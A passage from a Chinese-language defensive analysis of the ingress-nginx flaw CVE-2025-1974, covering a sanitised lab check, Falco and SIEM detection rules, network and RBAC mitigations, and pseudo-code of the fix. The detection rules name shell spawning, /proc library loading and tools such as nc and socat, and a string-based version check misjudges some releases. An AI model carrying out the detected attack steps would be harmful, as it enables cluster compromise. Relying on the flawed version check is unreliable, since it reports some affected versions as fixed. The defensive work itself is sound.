  -o jsonpath='{.items[0].spec.containers[0].image}'

echo "获取 Service 信息"
kubectl get svc -n ingress-nginx

9.4 连通性验证

#!/bin/bash
# 验证 Admission Service 可访问性

ADMISSION_IP=$(kubectl get svc -n ingress-nginx \
  ingress-nginx-controller-admission \
  -o jsonpath='{.spec.clusterIP}')

ADMISSION_PORT=$(kubectl get svc -n ingress-nginx \
  ingress-nginx-controller-admission \
  -o jsonpath='{.spec.ports[0].port}')

echo "Admission Service: https://${ADMISSION_IP}:${ADMISSION_PORT}"

# 创建测试 Pod
kubectl run test-pod --image=curlimages/curl:latest --command -- sleep infinity

echo "等待 test-pod 就绪"
kubectl wait --for=condition=ready pod test-pod --timeout=60s

# 从 Pod 内测试连通性
kubectl exec test-pod -- curl -k -v https://${ADMISSION_IP}:${ADMISSION_PORT}/health

echo "连通性验证完成"

9.5 安全演练流程

去敏化的安全验证 (不含有效利用载荷):

#!/bin/bash
# 安全演练 - 验证 Admission 流程而不实际利用

# 准备去敏化的 AdmissionReview (无注入)
cat > safe-admission-review.json << 'EOF'
{
  "kind": "AdmissionReview",
  "apiVersion": "admission.k8s.io/v1",
  "request": {
    "uid": "12345678-1234-1234-1234-123456789012",
    "kind": {
      "group": "networking.k8s.io",
      "version": "v1",
      "kind": "Ingress"
    },
    "operation": "CREATE",
    "object": {
      "apiVersion": "networking.k8s.io/v1",
      "kind": "Ingress",
      "metadata": {
        "name": "safe-test",
        "namespace": "default",
        "annotations": {
          "nginx.ingress.kubernetes.io/rewrite-target": "/"
        }
      },
      "spec": {
        "ingressClassName": "nginx",
        "rules": [
          {
            "host": "test.example.com",
            "http": {
              "paths": [
                {
                  "path": "/",
                  "pathType": "Prefix",
                  "backend": {
                    "service": {
                      "name": "test-service",
                      "port": {
                        "number": 80
                      }
                    }
                  }
                }
              ]
            }
          }
        ]
      }
    }
  }
}
EOF

# 从测试 Pod 发送到 Admission Webhook
ADMISSION_URL="https://${ADMISSION_IP}:${ADMISSION_PORT}/networking/v1/ingresses"

kubectl exec test-pod -- curl -k -X POST \
  -H "Content-Type: application/json" \
  -d @safe-admission-review.json \
  ${ADMISSION_URL}

# 观察 Admission Pod 日志
kubectl logs -n ingress-nginx \
  -l app.kubernetes.io/component=controller \
  --tail=50

echo "在漏洞版本中,应该能看到 nginx -t 相关的日志"

9.6 升级与重测

#!/bin/bash
# 升级到修复版本并重新测试

echo "升级到 v1.11.5 (修复版本)"
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.11.5/deploy/static/provider/kind/deploy.yaml

kubectl rollout status deployment/ingress-nginx-controller -n ingress-nginx

echo "验证新版本"
kubectl get pods -n ingress-nginx \
  -o jsonpath='{.items[0].spec.containers[0].image}'

# 重新发送相同的 AdmissionReview
kubectl exec test-pod -- curl -k -X POST \
  -H "Content-Type: application/json" \
  -d @safe-admission-review.json \
  ${ADMISSION_URL}

# 观察日志变化
kubectl logs -n ingress-nginx \
  -l app.kubernetes.io/component=controller \
  --tail=50

echo "在修复版本中,不应再看到 nginx -t 相关的日志"
echo "Admission 不再执行配置测试"

9.7 清理环境

#!/bin/bash
# 删除测试环境

kubectl delete pod test-pod
kind delete cluster --name cve-2025-1974-test
rm -f kind-config.yaml safe-admission-review.json

echo "测试环境已清理"

10. 检测方法

10.1 多层检测策略

10.1.1 网络层检测

监控异常流量到 Admission Service:

# NetworkPolicy - 监控模式 (仅记录,不阻断)
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: ingress-admission-monitor
  namespace: ingress-nginx
spec:
  podSelector:
    matchLabels:
      app.kubernetes.io/component: controller
  policyTypes:
  - Ingress
  ingress:
  - from:
    - namespaceSelector:
        matchLabels:
          name: kube-system
    ports:
    - protocol: TCP
      port: 8443

网络流量分析指标:

  • 来自非 kube-system namespace 的连接

  • 短时间内大量 HTTPS 请求到端口 8443

  • 异常的 User-Agent (非 Kubernetes API Server)

  • TLS 握手失败或证书验证错误

10.1.2 主机/容器层检测

Falco 检测规则:

# Falco 规则 - 检测恶意库加载
- rule: Ingress Controller Loads Library from /proc
  desc: Detect nginx loading shared library from /proc filesystem
  condition: >
    container.name = "controller" and
    container.image.repository contains "ingress-nginx" and
    open_read and
    (fd.name startswith "/proc/" and fd.name contains "/fd/") and
    proc.name = "nginx"
  output: >
    Suspicious library load in ingress controller
    (user=%user.name process=%proc.name file=%fd.name container=%container.name)
  priority: CRITICAL
  tags: [ingress, cve-2025-1974, container_drift]

- rule: Ingress Controller Spawns Shell
  desc: Detect nginx spawning shell processes
  condition: >
    container.name = "controller" and
    container.image.repository contains "ingress-nginx" and
    spawned_process and
    proc.pname = "nginx" and
    proc.name in (bash, sh, dash, zsh, fish)
  output: >
    Shell spawned by nginx in ingress controller
    (user=%user.name cmdline=%proc.cmdline parent=%proc.pname container=%container.name)
  priority: CRITICAL
  tags: [ingress, cve-2025-1974, execution]

- rule: Ingress Controller Outbound Connection
  desc: Detect unexpected outbound network connections
  condition: >
    container.name = "controller" and
    fd.type in (ipv4, ipv6) and
    fd.direction = outbound and
    not fd.sip in (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and
    proc.name != "controller"
  output: >
    Unexpected outbound connection from ingress controller
    (connection=%fd.name process=%proc.name container=%container.name)
  priority: WARNING
  tags: [ingress, cve-2025-1974, network]

- rule: Ingress Nginx Temporary Body File Created
  desc: Detect creation of nginx client body temporary files
  condition: >
    container.name = "controller" and
    open_write and
    fd.name startswith "/var/lib/nginx/body/" and
    proc.name = "nginx"
  output: >
    Nginx created client body temporary file
    (file=%fd.name size=%fd.size process=%proc.name container=%container.name)
  priority: INFO
  tags: [ingress, monitoring]

Sysdig 检测策略:

# Sysdig Falco 扩展规则
- macro: ingress_nginx_container
  condition: >
    container.name = "controller" and
    container.image.repository contains "ingress-nginx"

- rule: CVE-2025-1974 Exploitation Attempt
  desc: Detect potential CVE-2025-1974 exploitation
  condition: >
    ingress_nginx_container and
    ((open_read and fd.name glob "/proc/*/fd/*" and proc.name = "nginx") or
     (spawned_process and proc.pname = "nginx" and proc.name in (sh, bash)) or
     (syscall.type = execve and proc.aname[2] = "nginx"))
  output: >
    Potential CVE-2025-1974 exploitation detected
    (user=%user.name process=%proc.cmdline parent=%proc.pname container=%container.name)
  priority: EMERGENCY
  tags: [cve-2025-1974, rce, critical]

10.1.3 日志与审计检测

Admission Controller 日志分析:

#!/bin/bash
# 检测 Admission 日志中的异常模式

kubectl logs -n ingress-nginx \
  -l app.kubernetes.io/component=controller \
  --tail=10000 | \
grep -E "(nginx -t|Code Injected|ssl_engine|/proc/.*>/fd/|Error.*loading.*shared library)" | \
tee admission-suspicious.log

# 检查是否包含关键字
if grep -q "Code Injected" admission-suspicious.log; then
  echo "CRITICAL: 检测到成功的利用尝试!"
fi

if grep -q "ssl_engine" admission-suspicious.log; then
  echo "WARNING: 检测到 ssl_engine 指令"
fi

Kubernetes 审计日志分析:

# Kubernetes Audit Policy
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
# 记录所有对 Ingress 对象的操作
- level: RequestResponse
  verbs: ["create", "update", "patch"]
  resources:
  - group: "networking.k8s.io"
    resources: ["ingresses"]
  omitStages: []

# 记录 Secret 访问
- level: Metadata
  verbs: ["get", "list"]
  resources:
  - group: ""
    resources: ["secrets"]
  namespaces: ["default", "kube-system", "ingress-nginx"]

审计日志查询:

#!/bin/bash
# 分析审计日志中的异常模式

# 查找没有对应 API 调用的 Admission 活动
# (攻击者直接访问 Admission Service,绕过 API Server)

# 1. 提取 Admission 日志中的 UID
kubectl logs -n ingress-nginx \
  -l app.kubernetes.io/component=controller | \
  grep -oP '"uid":"[^"]+' | \
  cut -d'"' -f4 > admission-uids.txt

# 2. 提取审计日志中的 Ingress 操作 UID
kubectl get events --all-namespaces \
  --field-selector involvedObject.kind=Ingress \
  -o json | \
  jq -r '.items[].metadata.uid' > api-uids.txt

# 3. 找出差异 (仅在 Admission 出现,但未在 API 审计中)
comm -23 <(sort admission-uids.txt) <(sort api-uids.txt) > suspicious-uids.txt

if [ -s suspicious-uids.txt ]; then
  echo "WARNING: 发现绕过 API Server 的 Admission 请求"
  cat suspicious-uids.txt
fi

10.1.4 运行时行为检测

检测脚本:

#!/bin/bash
# CVE-2025-1974 IoC 检测脚本

echo "=== 检查 ingress-nginx 版本 ==="
kubectl get pods -n ingress-nginx \
  -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[0].image}{"\n"}{end}'

echo -e "\n=== 检查可疑的 Ingress 对象 ==="
kubectl get ingress --all-namespaces -o json | \
  jq -r '.items[] | select(
    .metadata.annotations."nginx.ingress.kubernetes.io/auth-url" != null or
    .metadata.annotations."nginx.ingress.kubernetes.io/auth-tls-match-cn" != null or
    .metadata.annotations."nginx.ingress.kubernetes.io/mirror-target" != null
  ) | "\(.metadata.namespace)/\(.metadata.name)"'

echo -e "\n=== 检查 Ingress 注解中的异常字符 ==="
kubectl get ingress --all-namespaces -o json | \
  jq -r '.items[] |
    select(.metadata.annotations | to_entries[] |
      .key | startswith("nginx.ingress.kubernetes.io")) |
    select(.metadata.annotations | to_entries[] |
      .value | test("\\n|\\r|;|ssl_engine|load_module|/proc/")) |
    "\(.metadata.namespace)/\(.metadata.name): \(.metadata.annotations)"'

echo -e "\n=== 检查 ingress-controller 进程树 ==="
POD_NAME=$(kubectl get pods -n ingress-nginx \
  -l app.kubernetes.io/component=controller \
  -o jsonpath='{.items[0].metadata.name}')

kubectl exec -n ingress-nginx ${POD_NAME} -- \
  ps aux | grep -E "(sh|bash|nc|socat|curl|wget)" | grep -v grep

echo -e "\n=== 检查可疑的网络连接 ==="
kubectl exec -n ingress-nginx ${POD_NAME} -- \
  netstat -antp 2>/dev/null | \
  grep -v "ESTABLISHED.*:443\|ESTABLISHED.*:80\|LISTEN"

echo -e "\n=== 检查临时文件目录 ==="
kubectl exec -n ingress-nginx ${POD_NAME} -- \
  ls -la /var/lib/nginx/body/ 2>/dev/null || \
  echo "目录不存在或无权限"

echo -e "\n=== 检查 /proc 访问痕迹 ==="
kubectl exec -n ingress-nginx ${POD_NAME} -- \
  lsof 2>/dev/null | grep "/proc/.*>/fd/" || \
  echo "未发现异常 /proc 访问"

echo -e "\n=== 分析最近的日志 ==="
kubectl logs -n ingress-nginx ${POD_NAME} --tail=100 | \
  grep -i "admission\|ssl_engine\|Code Injected\|error.*loading" | \
  tail -20

echo -e "\n=== 检测完成 ==="

10.2 威胁情报集成

已知 PoC 仓库特征:

# 检测已知 PoC 工具的网络活动
KNOWN_POC_PATTERNS=(
  "ingressnightmare"
  "CVE-2025-1974"
  "Esonhugh/ingressNightmare"
  "sandumjacob/IngressNightmare"
)

# 在网络流量中搜索这些模式
for pattern in "${KNOWN_POC_PATTERNS[@]}"; do
  echo "检查 User-Agent 包含: $pattern"
  kubectl logs -n ingress-nginx -l app.kubernetes.io/component=controller | \
    grep -i "$pattern"
done

10.3 SIEM/SOC 集成

Splunk 检测查询:

index=kubernetes sourcetype=kube:container:ingress-nginx
| search "nginx -t" OR "ssl_engine" OR "Code Injected" OR "/proc/*/fd/*"
| stats count by pod_name, container_name, log
| where count > 0

Elastic/ELK 检测查询:

{
  "query": {
    "bool": {
      "must": [
        {
          "match": {
            "kubernetes.namespace": "ingress-nginx"
          }
        },
        {
          "match": {
            "kubernetes.container.name": "controller"
          }
        },
        {
          "query_string": {
            "query": "\"nginx -t\" OR \"ssl_engine\" OR \"Code Injected\" OR \"/proc/*/fd/\""
          }
        }
      ]
    }
  }
}

11. 防护措施

11.1 立即响应措施 (0-24小时)

11.1.1 优先级 1: 版本升级

验证当前版本:

#!/bin/bash
# 检查当前版本

CURRENT_VERSION=$(kubectl get pods -n ingress-nginx \
  -o jsonpath='{.items[0].spec.containers[0].image}' | \
  grep -oP 'v\d+\.\d+\.\d+')

echo "当前版本: $CURRENT_VERSION"

# 检查是否受影响
if [[ "$CURRENT_VERSION" < "v1.11.5" ]] && [[ "$CURRENT_VERSION" != "v1.12.1" ]]; then
  echo "CRITICAL: 版本受影响,需要立即升级!"
  echo "建议升级到: v1.11.5 或 v1.12.1+"
else
  echo "OK: 版本已修复"
fi

Helm 升级方式:

#!/bin/bash
# 使用 Helm 升级到安全版本

# 备份当前配置
helm get values ingress-nginx -n ingress-nginx > ingress-nginx-values-backup.yaml

# 升级到 v1.11.5 (对应 Helm chart 4.11.5)
helm repo update
helm upgrade ingress-nginx ingress-nginx/ingress-nginx \
  --namespace ingress-nginx \
  --version 4.11.5 \
  --reuse-values \
  --wait

# 验证升级
kubectl rollout status deployment/ingress-nginx-controller -n ingress-nginx

NEW_VERSION=$(kubectl get pods -n ingress-nginx \
  -o jsonpath='{.items[0].spec.containers[0].image}' | \
  grep -oP 'v\d+\.\d+\.\d+')

echo "升级后版本: $NEW_VERSION"

Manifest 直接应用方式:

#!/bin/bash
# 直接应用新版本 manifest

# 备份当前部署
kubectl get deployment -n ingress-nginx ingress-nginx-controller -o yaml > \
  ingress-nginx-deployment-backup.yaml

# 应用新版本
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.11.5/deploy/static/provider/cloud/deploy.yaml

# 等待 rollout 完成
kubectl rollout status deployment/ingress-nginx-controller -n ingress-nginx

11.1.2 优先级 2: 临时禁用 Admission Webhook

如果短期内无法升级,可临时禁用 Admission Webhook:

Helm 方式:

#!/bin/bash
# Helm 禁用 Admission Webhook

helm upgrade ingress-nginx ingress-nginx/ingress-nginx \
  --namespace ingress-nginx \
  --set controller.admissionWebhooks.enabled=false \
  --reuse-values \
  --wait

echo "Admission Webhook 已禁用"
echo "警告: 这会失去配置验证功能,升级后务必重新启用"

手动方式:

#!/bin/bash
# 手动删除 ValidatingWebhookConfiguration

kubectl delete validatingwebhookconfiguration ingress-nginx-admission

# 从 Deployment 移除 admission webhook 参数
kubectl patch deployment ingress-nginx-controller -n ingress-nginx \
  --type='json' \
  -p='[{"op": "remove", "path": "/spec/template/spec/containers/0/args", "value": "--validating-webhook=:8443"}]'

echo "Admission Webhook 已禁用"

副作用警告:

Admission Webhook 被禁用后:
- 无效的 Ingress 配置可能被接受
- 错误配置可能导致 nginx reload 失败
- 需要手动验证 Ingress 对象的正确性
- 修复版本部署后,务必重新启用

11.1.3 优先级 3: 网络隔离

部署 NetworkPolicy 限制 Admission Service 访问:

# network-policy-admission-isolation.yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: ingress-nginx-admission-isolation
  namespace: ingress-nginx
spec:
  podSelector:
    matchLabels:
      app.kubernetes.io/component: controller
  policyTypes:
  - Ingress
  ingress:
  # 仅允许来自 kube-system namespace 的流量 (API Server)
  - from:
    - namespaceSelector:
        matchLabels:
          name: kube-system
      podSelector:
        matchLabels:
          component: kube-apiserver
    ports:
    - protocol: TCP
      port: 8443  # Admission webhook 端口

  # 允许正常的 HTTP/HTTPS 流量
  - from: []
    ports:
    - protocol: TCP
      port: 80
    - protocol: TCP
      port: 443

应用 NetworkPolicy:

kubectl apply -f network-policy-admission-isolation.yaml

# 验证 NetworkPolicy
kubectl get networkpolicy -n ingress-nginx
kubectl describe networkpolicy ingress-nginx-admission-isolation -n ingress-nginx

禁止 NodePort/LoadBalancer 暴露 Admission:

#!/bin/bash
# 确保 Admission Service 仅为 ClusterIP

ADMISSION_TYPE=$(kubectl get svc -n ingress-nginx \
  ingress-nginx-controller-admission \
  -o jsonpath='{.spec.type}')

if [ "$ADMISSION_TYPE" != "ClusterIP" ]; then
  echo "WARNING: Admission Service 类型为 $ADMISSION_TYPE"
  echo "修改为 ClusterIP..."

  kubectl patch svc ingress-nginx-controller-admission -n ingress-nginx \
    --type='merge' \
    -p '{"spec":{"type":"ClusterIP"}}'
fi

11.2 短期措施 (1-7天)

11.2.1 RBAC 最小权限

限制 ingress-controller 的 Secret 访问范围:

# ingress-nginx-rbac-restricted.yaml
---
# 删除 cluster-wide Secret 权限
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: ingress-nginx
rules:
# 移除 secrets 的 cluster-wide 权限
# - apiGroups: [""]
#   resources: ["secrets"]
#   verbs: ["get", "list", "watch"]

# 保留其他必要权限
- apiGroups: [""]
  resources: ["configmaps", "endpoints", "nodes", "pods", "services"]
  verbs: ["get", "list", "watch"]
- apiGroups: ["networking.k8s.io"]
  resources: ["ingresses", "ingressclasses"]
  verbs: ["get", "list", "watch"]
- apiGroups: ["networking.k8s.io"]
  resources: ["ingresses/status"]
  verbs: ["update"]

---
# 创建 namespace-scoped Secret 权限
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: ingress-nginx-secrets-reader
  namespace: ingress-nginx
rules:
- apiGroups: [""]
  resources: ["secrets"]
  verbs: ["get", "list", "watch"]
  # 可选: 仅允许访问特定 Secret
  # resourceNames: ["ingress-tls-cert-1", "ingress-tls-cert-2"]

---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: ingress-nginx-secrets-reader
  namespace: ingress-nginx
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: ingress-nginx-secrets-reader
subjects:
- kind: ServiceAccount
  name: ingress-nginx
  namespace: ingress-nginx

应用限制性 RBAC:

kubectl apply -f ingress-nginx-rbac-restricted.yaml

# 验证权限
kubectl auth can-i get secrets --as=system:serviceaccount:ingress-nginx:ingress-nginx -A
# 应返回 "no"

kubectl auth can-i get secrets --as=system:serviceaccount:ingress-nginx:ingress-nginx -n ingress-nginx
# 应返回 "yes"

11.2.2 Pod Security Standards

应用 Pod Security 标准:

# pod-security-ingress-nginx.yaml
apiVersion: v1
kind: Namespace
metadata:
  name: ingress-nginx
  labels:
    # 强制执行 restricted 标准
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted

注意: ingress-nginx 需要某些特权能力,可能需要调整为 baseline:

metadata:
  labels:
    pod-security.kubernetes.io/enforce: baseline
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted

11.2.3 配置基线强化

禁用危险注解:

# ingress-nginx-configmap.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: ingress-nginx-controller
  namespace: ingress-nginx
data:
  # 禁用 snippet 类注解
  allow-snippet-annotations: "false"

  # 启用严格验证
  strict-validate-path-type: "true"

  # 限制注解值长度
  annotation-value-word-blocklist: "load_module,ssl_engine,lua_package"

应用配置:

kubectl apply -f ingress-nginx-configmap.yaml

# 重启 controller 使配置生效
kubectl rollout restart deployment/ingress-nginx-controller -n ingress-nginx

11.3 长期加固措施 (持续)

11.3.1 运行时监控部署

部署 Falco:

#!/bin/bash
# 使用 Helm 部署 Falco

helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update

helm install falco falcosecurity/falco \
  --namespace falco-system \
  --create-namespace \
  --set tty=true \
  --set falco.grpc.enabled=true \
  --set falco.grpcOutput.enabled=true

# 应用 CVE-2025-1974 检测规则
kubectl create configmap falco-rules-cve-2025-1974 \
  --from-file=cve-2025-1974.yaml \
  -n falco-system

kubectl label configmap falco-rules-cve-2025-1974 \
  app.kubernetes.io/instance=falco \
  -n falco-system

# 重启 Falco 加载新规则
kubectl rollout restart daemonset/falco -n falco-system

Falco 规则文件 (cve-2025-1974.yaml):

- rule: IngressNightmare Exploitation Detected
  desc: Detect CVE-2025-1974 exploitation attempts
  condition: >
    container.name = "controller" and
    container.image.repository contains "ingress-nginx" and
    ((open_read and fd.name glob "/proc/*/fd/*" and proc.name = "nginx") or
     (spawned_process and proc.pname = "nginx" and proc.name in (sh, bash, dash)) or
     (syscall.type = execve and proc.aname[2] = "nginx" and proc.name in (sh, bash)))
  output: >
    CVE-2025-1974 exploitation detected in ingress-nginx
    (user=%user.name cmdline=%proc.cmdline parent=%proc.pname container=%container.name pod=%k8s.pod.name)
  priority: EMERGENCY
  tags: [cve-2025-1974, ingress, rce, critical]
  source: syscall

- rule: Nginx Loads Suspicious Library
  desc: Detect nginx loading libraries from unusual locations
  condition: >
    container.image.repository contains "ingress-nginx" and
    proc.name = "nginx" and
    evt.type = openat and
    fd.name glob "/proc/*/fd/*"
  output: >
    Nginx loading library from /proc (possible CVE-2025-1974)
    (file=%fd.name process=%proc.name container=%container.name pod=%k8s.pod.name)
  priority: CRITICAL
  tags: [cve-2025-1974, ingress]
  source: syscall

11.3.2 审计日志持久化

配置 Kubernetes 审计策略:

# audit-policy.yaml
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
# 记录所有对 ingress-nginx namespace 的操作
- level: RequestResponse
  namespaces: ["ingress-nginx"]
  omitStages: []

# 记录所有 Ingress 对象操作
- level: RequestResponse
  verbs: ["create", "update", "patch", "delete"]
  resources:
  - group: "networking.k8s.io"
    resources: ["ingresses"]
  omitStages: []

# 记录 Secret 访问
- level: Metadata
  verbs: ["get", "list", "watch"]
  resources:
  - group: ""
    resources: ["secrets"]
  omitStages: []

# 记录 ValidatingWebhookConfiguration 变更
- level: RequestResponse
  verbs: ["create", "update", "patch", "delete"]
  resources:
  - group: "admissionregistration.k8s.io"
    resources: ["validatingwebhookconfigurations"]
  omitStages: []

启用审计日志 (kube-apiserver):

# /etc/kubernetes/manifests/kube-apiserver.yaml
spec:
  containers:
  - command:
    - kube-apiserver
    - --audit-policy-file=/etc/kubernetes/audit/policy.yaml
    - --audit-log-path=/var/log/kubernetes/audit/audit.log
    - --audit-log-maxage=30
    - --audit-log-maxbackup=10
    - --audit-log-maxsize=100
    volumeMounts:
    - mountPath: /etc/kubernetes/audit
      name: audit-policy
      readOnly: true
    - mountPath: /var/log/kubernetes/audit
      name: audit-logs
  volumes:
  - name: audit-policy
    hostPath:
      path: /etc/kubernetes/audit
      type: DirectoryOrCreate
  - name: audit-logs
    hostPath:
      path: /var/log/kubernetes/audit
      type: DirectoryOrCreate

11.3.3 供应链安全

镜像扫描与签名:

#!/bin/bash
# 使用 Trivy 扫描 ingress-nginx 镜像

IMAGE="registry.k8s.io/ingress-nginx/controller:v1.11.5"

trivy image --severity HIGH,CRITICAL $IMAGE

# 验证镜像签名 (cosign)
cosign verify --key /path/to/public-key.pub $IMAGE

Admission Controller for Image Verification:

# image-policy.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: image-policy
  namespace: kube-system
data:
  policy.json: |
    {
      "imagePolicy": {
        "images": [
          {
            "name": "registry.k8s.io/ingress-nginx/*",
            "verify": {
              "keyless": {
                "subject": "https://github.com/kubernetes/ingress-nginx/.github/workflows/*",
                "issuer": "https://token.actions.githubusercontent.com"
              }
            }
          }
        ]
      }
    }

11.3.4 零信任网络架构

服务网格 (Service Mesh) 集成:

# Istio 配置示例
apiVersion: security.istio.io/v1beta1
kind: PeerAuthentication
metadata:
  name: ingress-nginx-mtls
  namespace: ingress-nginx
spec:
  mtls:
    mode: STRICT  # 强制 mTLS

---
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: ingress-admission-authz
  namespace: ingress-nginx
spec:
  selector:
    matchLabels:
      app.kubernetes.io/component: controller
  action: ALLOW
  rules:
  # 仅允许来自 API Server 的流量
  - from:
    - source:
        principals: ["cluster.local/ns/kube-system/sa/kube-apiserver"]
    to:
    - operation:
        ports: ["8443"]

11.4 修复验证

完整验证脚本:

#!/bin/bash
# 验证所有防护措施

echo "=== 1. 验证版本 ==="
VERSION=$(kubectl get pods -n ingress-nginx \
  -o jsonpath='{.items[0].spec.containers[0].image}' | \
  grep -oP 'v\d+\.\d+\.\d+')

if [[ "$VERSION" < "v1.11.5" ]] && [[ "$VERSION" != "v1.12.1" ]]; then
  echo "FAIL: 版本仍然受影响: $VERSION"
  EXIT_CODE=1
else
  echo "PASS: 版本已修复: $VERSION"
fi

echo -e "\n=== 2. 验证 NetworkPolicy ==="
if kubectl get networkpolicy -n ingress-nginx ingress-nginx-admission-isolation &>/dev/null; then
  echo "PASS: NetworkPolicy 已配置"
else
  echo "WARN: 建议配置 NetworkPolicy 进行额外防护"
fi

echo -e "\n=== 3. 验证 RBAC 权限 ==="
CLUSTER_WIDE_SECRET=$(kubectl auth can-i get secrets \
  --as=system:serviceaccount:ingress-nginx:ingress-nginx -A 2>&1)

if echo "$CLUSTER_WIDE_SECRET" | grep -q "yes"; then
  echo "WARN: ingress-nginx 仍有 cluster-wide Secret 权限"
  echo "建议: 评估是否需要限制 Secret 访问范围"
else
  echo "PASS: cluster-wide Secret 权限已限制"
fi

echo -e "\n=== 4. 验证 Admission Webhook 状态 ==="
WEBHOOK_ENABLED=$(kubectl get deployment -n ingress-nginx \
  ingress-nginx-controller \
  -o jsonpath='{.spec.template.spec.containers[0].args}' | \
  grep -o "validating-webhook")

if [ -n "$WEBHOOK_ENABLED" ]; then
  echo "INFO: Admission Webhook 已启用"
  echo "确保版本 >= v1.11.5 或已实施网络隔离"
else
  echo "INFO: Admission Webhook 已禁用 (临时措施)"
  echo "升级到安全版本后建议重新启用"
fi

echo -e "\n=== 5. 验证 Falco 部署 ==="
if kubectl get daemonset -n falco-system falco &>/dev/null; then
  echo "PASS: Falco 运行时监控已部署"
else
  echo "WARN: 建议部署 Falco 进行运行时监控"
fi

echo -e "\n=== 6. 验证配置安全基线 ==="
ALLOW_SNIPPETS=$(kubectl get configmap -n ingress-nginx \
  ingress-nginx-controller \
  -o jsonpath='{.data.allow-snippet-annotations}')

if [ "$ALLOW_SNIPPETS" = "false" ]; then
  echo "PASS: snippet 注解已禁用"
else
  echo "WARN: 建议禁用 snippet 注解 (allow-snippet-annotations: false)"
fi

echo -e "\n=== 验证完成 ==="
exit ${EXIT_CODE:-0}

12. 修复建议

12.1 官方修复方案

Kubernetes 官方在 v1.11.5 和 v1.12.1 中实施的修复措施:

核心变更:

  1. 移除 Admission 阶段的 nginx 配置验证 (不再执行nginx -t)

  2. 对注解值进行严格化处理,拒绝包含换行符的注解

  3. 增强对 UID 等元数据字段的验证

12.2 修复路径选择

立即升级路径:

当前版本 < v1.11.5 且 < v1.12.0
→ 升级到 v1.11.5

当前版本 >= v1.12.0 且 < v1.12.1
→ 升级到 v1.12.1

当前版本 = v1.11.5 或 >= v1.12.1
→ 已修复,无需操作

无法立即升级时的临时措施:

1. 禁用 Admission Webhook (失去配置验证)
2. 部署 NetworkPolicy 隔离 Admission Service
3. 限制 RBAC 权限
4. 部署运行时监控
5. 计划尽快升级

12.3 升级前准备

备份清单:

#!/bin/bash
# 升级前备份

BACKUP_DIR="ingress-nginx-backup-$(date +%Y%m%d-%H%M%S)"
mkdir -p $BACKUP_DIR

# 备份 Deployment
kubectl get deployment -n ingress-nginx -o yaml > \
  $BACKUP_DIR/deployments.yaml

# 备份 ConfigMap
kubectl get configmap -n ingress-nginx -o yaml > \
  $BACKUP_DIR/configmaps.yaml

# 备份 Service
kubectl get svc -n ingress-nginx -o yaml > \
  $BACKUP_DIR/services.yaml

# 备份 Ingress 对象
kubectl get ingress --all-namespaces -o yaml > \
  $BACKUP_DIR/ingresses.yaml

# 备份 Helm values (如果使用 Helm)
helm get values ingress-nginx -n ingress-nginx > \
  $BACKUP_DIR/helm-values.yaml

echo "备份完成: $BACKUP_DIR"
tar -czf $BACKUP_DIR.tar.gz $BACKUP_DIR

12.4 升级后验证

验证步骤:

#!/bin/bash
# 升级后验证

echo "1. 验证版本"
kubectl get pods -n ingress-nginx \
  -o jsonpath='{.items[0].spec.containers[0].image}'

echo -e "\n2. 验证 Pod 状态"
kubectl get pods -n ingress-nginx

echo -e "\n3. 验证 Admission Webhook 行为"
# 提交测试 Ingress
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: test-ingress
  namespace: default
  annotations:
    nginx.ingress.kubernetes.io/rewrite-target: /
spec:
  ingressClassName: nginx
  rules:
  - host: test.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: test-service
            port:
              number: 80
EOF

# 检查 Admission 日志
kubectl logs -n ingress-nginx \
  -l app.kubernetes.io/component=controller \
  --tail=20 | grep -i admission

# 清理测试 Ingress
kubectl delete ingress test-ingress -n default

echo -e "\n4. 验证现有 Ingress 仍然工作"
kubectl get ingress --all-namespaces

12.5 回滚计划

如果升级后出现问题:

#!/bin/bash
# 回滚到之前版本

# 使用 Helm 回滚
helm rollback ingress-nginx -n ingress-nginx

# 或使用 kubectl 回滚
kubectl rollout undo deployment/ingress-nginx-controller -n ingress-nginx

# 验证回滚
kubectl rollout status deployment/ingress-nginx-controller -n ingress-nginx

13. 修复分析

13.1 代码层面修复

官方补丁的关键改动:

改动1: 移除 Admission 阶段的 nginx -t 验证

修复前 (伪代码):

// internal/admission/controller/validation.go
func (v *Validator) Validate(ar *admissionv1.AdmissionReview) *admissionv1.AdmissionResponse {
    ingress := parseIngress(ar.Request.Object)

    // 渲染 nginx 配置
    nginxConf, err := v.renderTemplate(ingress)
    if err != nil {
        return deny(err.Error())
    }

    // 写入临时文件并验证 (漏洞触发点)
    tmpFile := "/tmp/nginx-" + uuid.New() + ".conf"
    ioutil.WriteFile(tmpFile, []byte(nginxConf), 0644)
    defer os.Remove(tmpFile)

    // 执行 nginx -t (危险操作,会加载 ssl_engine 等指令)
    cmd := exec.Command("/usr/sbin/nginx", "-t", "-c", tmpFile)
    output, err := cmd.CombinedOutput()
    if err != nil {
        return deny(fmt.Sprintf("nginx -t failed: %s", output))
    }

    return allow()
}

修复后:

func (v *Validator) Validate(ar *admissionv1.AdmissionReview) *admissionv1.AdmissionResponse {
    ingress := parseIngress(ar.Request.Object)

    // 仅进行基本的语法验证,不执行 nginx -t
    err := v.validateIngressSpec(ingress)
    if err != nil {
        return deny(err.Error())
    }

